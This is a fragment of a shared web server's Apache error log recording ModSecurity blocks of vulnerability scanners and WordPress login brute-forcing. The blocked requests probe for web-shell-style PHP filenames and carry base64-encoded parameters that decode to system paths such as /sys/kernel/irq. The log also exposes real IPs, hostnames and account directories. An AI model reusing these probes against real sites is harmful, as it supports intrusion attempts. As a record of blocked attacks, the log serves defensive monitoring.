532036] [client 89.251.0.73:65449] AH01276: Cannot serve directory /home3/davidtec/public_html/ExpertAppliance.org/.well-known/acme-challenge/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:07:19.930338 2026] [security2:error] [pid 531797:tid 532005] [client 148.113.209.179:39456] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wt8TA7b1mZrmcA-8GDgAAAh0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:20.001033 2026] [security2:error] [pid 531155:tid 531377] [client 20.151.217.54:58223] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/spire.php"] [unique_id "ai3wuCmiP80klyS0Nnrj9AAAAWY"] [Sat Jun 13 18:07:20.009535 2026] [security2:error] [pid 531797:tid 531876] [remote 17.246.23.24:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 24.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wt8TA7b1mZrmcA-8GEAACFgw"] [Sat Jun 13 18:07:20.017811 2026] [security2:error] [pid 531797:tid 532116] [client 20.29.78.145:60519] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/dx.php"] [unique_id "ai3wuMTA7b1mZrmcA-8GEwAAAok"] [Sat Jun 13 18:07:20.070099 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:20.070383 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:20.097614 2026] [security2:error] [pid 531155:tid 531323] [client 20.9.67.71:54565] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.pempaleh.com"] [uri "/invisi.php"] [unique_id "ai3wuCmiP80klyS0Nnrj9wAAATA"] [Sat Jun 13 18:07:20.123045 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6MA== [Sat Jun 13 18:07:20.123325 2026] [access_compat:error] [pid 531155:tid 531217] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXIvMjE6MA== [Sat Jun 13 18:07:20.136063 2026] [security2:error] [pid 531155:tid 531332] [client 20.151.217.54:58210] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/auto.php"] [unique_id "ai3wuCmiP80klyS0Nnrj-gAAATk"] [Sat Jun 13 18:07:20.165242 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.41:21259] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:20.165519 2026] [access_compat:error] [pid 531797:tid 531911] [remote 57.141.14.41:21259] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:20.230553 2026] [access_compat:error] [pid 531797:tid 531935] [remote 57.141.14.94:40336] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:20.230847 2026] [access_compat:error] [pid 531797:tid 531935] [remote 57.141.14.94:40336] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:20.282549 2026] [security2:error] [pid 531797:tid 532041] [client 20.151.217.54:58127] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/twinklingly.php"] [unique_id "ai3wuMTA7b1mZrmcA-8GIgAAAkA"] [Sat Jun 13 18:07:20.336050 2026] [security2:error] [pid 531797:tid 532100] [client 191.234.188.123:47942] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/sadcut1.php"] [unique_id "ai3wuMTA7b1mZrmcA-8GJgAAAnk"] [Sat Jun 13 18:07:20.415102 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.14:53510] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:20.415574 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.14:53510] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:20.428963 2026] [security2:error] [pid 531797:tid 532127] [client 20.151.217.54:58126] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/12.php"] [unique_id "ai3wuMTA7b1mZrmcA-8GKwAAApI"] [Sat Jun 13 18:07:20.525866 2026] [security2:error] [pid 531797:tid 531977] [remote 94.11.158.175:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3wuMTA7b1mZrmcA-8GLwACRXA"], referer: https://www.torquayfans.com [Sat Jun 13 18:07:20.525892 2026] [security2:error] [pid 531797:tid 531977] [remote 94.11.158.175:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3wuMTA7b1mZrmcA-8GLwACRXA"], referer: https://www.torquayfans.com [Sat Jun 13 18:07:20.561304 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvcGNzcGtyL21vZHVsZS9zZWN0aW9ucw== [Sat Jun 13 18:07:20.561759 2026] [access_compat:error] [pid 531155:tid 531198] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9kZXZpY2Uvc3Vic3lzdGVtL2RyaXZlcnMvcGNzcGtyL21vZHVsZS9zZWN0aW9ucw== [Sat Jun 13 18:07:20.574401 2026] [security2:error] [pid 531155:tid 531338] [client 20.151.217.54:58120] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/cakr3xr4.php"] [unique_id "ai3wuCmiP80klyS0NnrkAQAAAT8"] [Sat Jun 13 18:07:20.636889 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:20.637316 2026] [access_compat:error] [pid 531155:tid 531277] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycQ== [Sat Jun 13 18:07:20.735533 2026] [security2:error] [pid 531797:tid 532016] [client 20.151.217.54:58180] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/yoy123.php"] [unique_id "ai3wuMTA7b1mZrmcA-8GOwAAAig"] [Sat Jun 13 18:07:20.768141 2026] [security2:error] [pid 531797:tid 532072] [client 148.113.209.179:39466] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wuMTA7b1mZrmcA-8GPQAAAl4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:20.864565 2026] [security2:error] [pid 531797:tid 532057] [client 20.151.217.54:58153] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/fff.php"] [unique_id "ai3wuMTA7b1mZrmcA-8GQwAAAk8"] [Sat Jun 13 18:07:20.992851 2026] [security2:error] [pid 531155:tid 531292] [client 20.151.217.54:58160] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/dccs.php"] [unique_id "ai3wuCmiP80klyS0NnrkCwAAARE"] [Sat Jun 13 18:07:20.993714 2026] [security2:error] [pid 531155:tid 531313] [client 148.113.209.179:39476] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wuCmiP80klyS0NnrkDAAAASY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:21.032665 2026] [security2:error] [pid 531155:tid 531200] [remote 17.246.19.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wuSmiP80klyS0NnrkDgABaiw"] [Sat Jun 13 18:07:21.117227 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmU= [Sat Jun 13 18:07:21.117525 2026] [access_compat:error] [pid 531155:tid 531231] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmU= [Sat Jun 13 18:07:21.147501 2026] [security2:error] [pid 531797:tid 531904] [remote 17.22.237.25:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 25.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wucTA7b1mZrmcA-8GTwACHSg"] [Sat Jun 13 18:07:21.152213 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:21.152675 2026] [access_compat:error] [pid 531155:tid 531199] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:21.165683 2026] [security2:error] [pid 531797:tid 532037] [client 20.151.217.54:58195] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/wp-form.php"] [unique_id "ai3wucTA7b1mZrmcA-8GUQAAAjw"] [Sat Jun 13 18:07:21.207157 2026] [security2:error] [pid 531155:tid 531226] [remote 17.241.75.187:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 187.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wuSmiP80klyS0NnrkFAABf0Y"] [Sat Jun 13 18:07:21.219307 2026] [security2:error] [pid 531155:tid 531349] [client 148.113.209.179:39486] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wuSmiP80klyS0NnrkFQAAAUo"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:21.308517 2026] [security2:error] [pid 531797:tid 532073] [client 20.151.217.54:58209] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/x.php"] [unique_id "ai3wucTA7b1mZrmcA-8GVQAAAl8"] [Sat Jun 13 18:07:21.361997 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.107:34027] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:21.362281 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.107:34027] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:21.446690 2026] [security2:error] [pid 531797:tid 532104] [client 148.113.209.179:39488] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wucTA7b1mZrmcA-8GWAAAAn0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:21.467034 2026] [security2:error] [pid 531797:tid 532110] [client 20.151.217.54:58207] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/invisi.php"] [unique_id "ai3wucTA7b1mZrmcA-8GWQAAAoM"] [Sat Jun 13 18:07:21.527213 2026] [security2:error] [pid 531155:tid 531233] [remote 17.241.227.174:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 174.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wuSmiP80klyS0NnrkGQABN00"] [Sat Jun 13 18:07:21.606417 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.48:20113] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:21.606734 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.48:20113] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:21.664170 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRl [Sat Jun 13 18:07:21.664610 2026] [access_compat:error] [pid 531155:tid 531276] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Vzci9pbmNsdWRl [Sat Jun 13 18:07:21.698957 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:21.699384 2026] [access_compat:error] [pid 531155:tid 531167] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDAvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:21.926487 2026] [security2:error] [pid 531797:tid 532095] [client 20.29.78.145:61020] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/puc.php"] [unique_id "ai3wucTA7b1mZrmcA-8GbAAAAnQ"] [Sat Jun 13 18:07:22.053196 2026] [access_compat:error] [pid 531797:tid 531976] [remote 57.141.14.49:55863] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:22.053663 2026] [access_compat:error] [pid 531797:tid 531976] [remote 57.141.14.49:55863] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:22.071325 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.102:48999] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:22.071794 2026] [access_compat:error] [pid 531797:tid 531954] [remote 57.141.14.102:48999] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:22.157542 2026] [security2:error] [pid 531797:tid 532047] [client 148.113.209.179:36886] 